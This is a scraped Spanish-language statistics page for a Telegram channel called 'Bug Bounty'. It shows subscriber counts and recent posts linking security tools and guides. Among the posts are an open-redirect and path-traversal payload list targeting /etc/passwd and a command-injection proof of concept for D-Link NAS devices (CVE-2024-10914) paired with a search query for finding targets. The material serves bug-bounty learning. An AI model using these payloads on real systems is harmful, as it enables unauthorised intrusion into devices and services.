es
Feedback
Bug Bounty

Bug Bounty

Ir al canal en Telegram

Bugbounty Resources • Tips • Security Zines • Writeups • Vulnerability Update • Notes • Mindmaps • Cheatsheets • Checklists • Article / Blogs • PDFs • ebooks •

Mostrar más
Malasia7 953Tecnologías y Aplicaciones10 396
9 446
Suscriptores
Sin datos24 horas
-37 días
-6030 días

Carga de datos en curso...

Canales Similares
Pentesting News
26.0K
Pentesting News
🔥OSCP Training🔥🛡⚔️👨🏻‍💻
7.5K
🔥OSCP Training🔥🛡⚔️👨🏻‍💻
Bug Bounty Courses
667
Bug Bounty Courses
HackenProof - Crypto Bug Bounty
372
HackenProof - Crypto Bug Bounty
keycybr
279
keycybr
avatar
1
Más canales
Nube de Etiquetas
Sin datos
¿Algún problema? Por favor, actualice la página o contacte a nuestro gerente de soporte.
Menciones Entrantes y Salientes
---
---
---
---
---
---
Atraer Suscriptores
junio '25
junio '25
+23
en 0 canales
mayo '25
+31
en 0 canales
Get PRO
abril '25
+31
en 0 canales
Get PRO
marzo '25
+44
en 0 canales
Get PRO
febrero '25
+31
en 0 canales
Get PRO
enero '25
+35
en 0 canales
Get PRO
diciembre '24
+47
en 0 canales
Get PRO
noviembre '24
+479
en 0 canales
Get PRO
octubre '24
+372
en 0 canales
Get PRO
septiembre '24
+67
en 0 canales
Get PRO
agosto '24
+352
en 1 canales
Get PRO
julio '24
+568
en 0 canales
Get PRO
junio '24
+207
en 1 canales
Get PRO
mayo '24
+356
en 2 canales
Get PRO
abril '24
+233
en 1 canales
Get PRO
marzo '24
+159
en 0 canales
Get PRO
febrero '24
+142
en 1 canales
Get PRO
enero '24
+531
en 0 canales
Get PRO
diciembre '23
+486
en 0 canales
Get PRO
noviembre '23
+126
en 0 canales
Get PRO
octubre '23
+188
en 0 canales
Get PRO
septiembre '23
+95
en 0 canales
Get PRO
agosto '23
+184
en 0 canales
Get PRO
julio '23
+581
en 0 canales
Get PRO
junio '23
+79
en 0 canales
Get PRO
mayo '23
+239
en 0 canales
Get PRO
abril '23
+88
en 0 canales
Get PRO
marzo '23
+155
en 0 canales
Get PRO
febrero '23
+665
en 0 canales
Get PRO
enero '23
+784
en 0 canales
Get PRO
diciembre '22
+1 254
en 0 canales
Get PRO
noviembre '22
+2 347
en 0 canales
Get PRO
octubre '22
+565
en 0 canales
Fecha
Crecimiento de Suscriptores
Menciones
Canales
21 junio+1
20 junio+1
19 junio0
18 junio+2
17 junio+1
16 junio0
15 junio+2
14 junio+3
13 junio+1
12 junio0
11 junio0
10 junio0
09 junio0
08 junio+2
07 junio+1
06 junio+2
05 junio0
04 junio+2
03 junio0
02 junio+1
01 junio+4
Publicaciones del Canal
Bug Bounty
🚀 Exciting News for #InfoSec & #BugBounty! 🛡 ProxSec v1.0.0 is out—an open-source extension for security pros! 🔥 ✅ Proxy m
🚀 Exciting News for #InfoSec & #BugBounty! 🛡 ProxSec v1.0.0 is out—an open-source extension for security pros! 🔥 ✅ Proxy management ✅ Scope validation ✅ Program tracking ✅ Lightweight & private Open-Source : https://github.com/aacle/ProxSec Feedback welcome! 💬

2
🔖The ultimate 403 Bypass wordlists and tester notes by JHaddix 📱 Github: 🔗 Link
🔖The ultimate 403 Bypass wordlists and tester notes by JHaddix 📱 Github: 🔗 Link
0
3
TOP_100_Vulnerabilities_Step_by_Step_Guide_Handbook.pdf
0
4
🔖 Dnsbruter - A powerful tool for active subdomain enumeration and discovery. ✨ Features: Dnsbruter uses DNS resolution to b
🔖 Dnsbruter - A powerful tool for active subdomain enumeration and discovery. ✨ Features: Dnsbruter uses DNS resolution to bruteforce and identify subdomains efficiently. Its multithreading capability allows users to control concurrency for faster and more effective results. Perfect for researchers and pen testers targeting domain reconnaissance. 🔗 https://github.com/RevoltSecurities/Dnsbruter/
0
5
bounty_tips_100+.pdf
0
6
⚡️Want to download 100+ Bug Bounty Tips collected from X? ✅Download the PDF from here #BugBounty #bugbountytips
0
7
⚡️Want to download 100+ Bug Bounty Tips collected from X? ✅Download the PDF from here - https://t.me/brutsecurity/767 #BugBounty #bugbountytips
0
8
bounty_tips_100+.pdf
0
9
Extract all endpoints from a JS File and take your bug 🐞 ✅Method one waybackurls HOSTS | tac | sed "s#\\\/#\/#g" | egrep -o
Extract all endpoints from a JS File and take your bug 🐞 ✅Method one waybackurls HOSTS | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]? 15*[=: 1\5*[ '\"]?[^'\"]+.js[^'|"> ]*" | awk -F '/' '{if(length($2))print "https://"$2}' | sort -fu | xargs -I '%' sh -c "curl -k -s \"%)" | sed \"s/[;}\)>]/\n/g\" | grep -Po \" (L'1|\"](https?: )?[/1{1,2}[^'||l"> 1{5,3)|(\. (get|post|ajax|load)\s*\(\5*['||\"](https?:)?[/1{1,2}[^'||\"> ] {5,})\"" | awk -F "['|"]" '{print $2}' sort -fu ✅Method two cat JS.txt | grep -aop "(?<=(\"|\'|' ))\/[a-zA-Z0-9?&=\/-#.](?= (\"||'|'))" | sort -u | tee JS.txt #infosec #cybersec #bugbountytips
0
10
🔍 gitlab-subdomains - A Go-based tool to uncover subdomains via GitLab searches. 🔗https://github.com/gwen001/gitlab-subdoma
🔍 gitlab-subdomains - A Go-based tool to uncover subdomains via GitLab searches. 🔗https://github.com/gwen001/gitlab-subdomains
0
11
https://mikko-kenttala.medium.com/zero-click-calendar-invite-critical-zero-click-vulnerability-chain-in-macos-a7a434fc887b
0
12
🔖Ex-param - an automated tool designed for finding reflected parameters for XSS vulnerabilities ✅https://github.com/rootDR/e
🔖Ex-param - an automated tool designed for finding reflected parameters for XSS vulnerabilities ✅https://github.com/rootDR/ex-param
0
13
🔖AWS penetration testing: A step-by-step Guide for Beginners ☄️https://www.hackthebox.com/blog/aws-pentesting-guide+1
🔖AWS penetration testing: A step-by-step Guide for Beginners ☄️https://www.hackthebox.com/blog/aws-pentesting-guide
0
14
https://github.com/harsh-bothra/learn365/blob/main/days/day5.md
https://github.com/harsh-bothra/learn365/blob/main/days/day5.md
0
15
☄️You can try this effective manual openredirect Bypass☄️ 1. Null-byte injection:    - /google.com%00/    - //google.com%00   2. Base64 encoding variations:    - aHR0cDovL2dvb2dsZS5jb20=    - aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbQ==    - //base64:d3d3Lmdvb2dsZS5jb20=/   3. Case-sensitive variations:    - //GOOGLE.com/    - //GoOgLe.com/ 4. Overlong UTF-8 sequences:    - %C0%AE%C0%AE%2F (overlong encoding for ../)    - %C0%AF%C0%AF%2F%2Fgoogle.com 5. Mixed encoding schemes:    - /%68%74%74%70://google.com    - //base64:%32%46%32%46%67%6F%6F%67%6C%65%2E%63%6F%6D    - //base64:%2F%2Fgoogle.com/ 6. Alternative domain notations:    - //google.com@127.0.0.1/    - //127.0.0.1.xip.io/    - //0x7F000001/ (hexadecimal IP) 7. Trailing special characters:    - //google.com/#/    - //google.com/;&/    - //google.com/?id=123&// 8. Octal IP address format:    - http://0177.0.0.1/    - http://00177.0000.0000.0001/ 9. IP address variants:    - http://3232235777 (decimal notation of an IP)    - http://0xC0A80001 (hex notation of IP)    - http://192.168.1.1/ 10. Path traversal with encoding:     - /..%252f..%252f..%252fetc/passwd     - /%252e%252e/%252e%252e/%252e%252e/etc/passwd     - /..%5c..%5c..%5cwindows/system32/cmd.exe 11. Alternate protocol inclusion:     - ftp://google.com/     - javascript:alert(1)//google.com 12. Protocol-relative URLs:     - :////google.com/     - :///google.com/ 13. Redirection edge cases:     - //google.com/?q=//bing.com/     - //google.com?q=https://another-site.com/ 14. IPv6 notation:     - http://[::1]/     - http://[::ffff:192.168.1.1]/     15. Double URL encoding:     - %252f%252fgoogle.com (encoded twice)     - %255cgoogle.com 16. Combined traversal & encoding:     - /%2E%2E/%2E%2E/etc/passwd     - /%2e%2e%5c%2e%2e/etc/passwd 17. Reverse DNS-based:     - https://google.com.reverselookup.com     - //lookup-reversed.google.com/ 18. Non-standard ports:     - http://google.com:81/     - https://google.com:444/ 19. Unicode obfuscation in paths:     - /%E2%80%8Egoogle.com/     - /%C2%A0google.com/ 20. Query parameters obfuscation:     - //google.com/?q=http://another-site.com/     - //google.com/?redirect=https://google.com/ 21. Using @ symbol for userinfo:     - https://admin:password@google.com/     - http://@google.com 22. Combination of userinfo and traversal:     - https://admin:password@google.com/../../etc/passwd
0
16
⚡️uro - Using a URL list for security testing can be painful as there are a lot of URLs that have uninteresting/duplicate con
⚡️uro - Using a URL list for security testing can be painful as there are a lot of URLs that have uninteresting/duplicate content; uro aims to solve that. 🔗github.com/s0md3v/uro
0
17
cve-2024-10914 GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&amp;name=%27;;%27 FOFA：app =D_Link-DNS-Share
cve-2024-10914 GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;<INJECTED_SHELL_COMMAND>;%27 FOFA：app =D_Link-DNS-ShareCenter #exploit #poc #IoT
0
18
⚠️ S3 Bucket Recon ⚠️ Source : https://github.com/securitycipher/awsome-websecurity-checklist/blob/main/Mindmaps/S3-Bucket%20
⚠️ S3 Bucket Recon ⚠️ Source : https://github.com/securitycipher/awsome-websecurity-checklist/blob/main/Mindmaps/S3-Bucket%20Recon.png
0
19
Hey everyone! 🌟 Hope you’re all doing well in your current phase. I’m looking for a skilled React Native developer to join us and help mitigate some ongoing challenges. If you’re interested or know someone who might be a great fit, please reach out to me at @rootxabhishek. Thanks!
0
20
https://tagmango.com/web/checkout/671a883165626b7204a59a11 Use the coupon code HACKER30 to unlock a 30% discount, exclusively available for the first 100 customers! Don’t miss out—grab your deal now!
0
Ver todas las publicaciones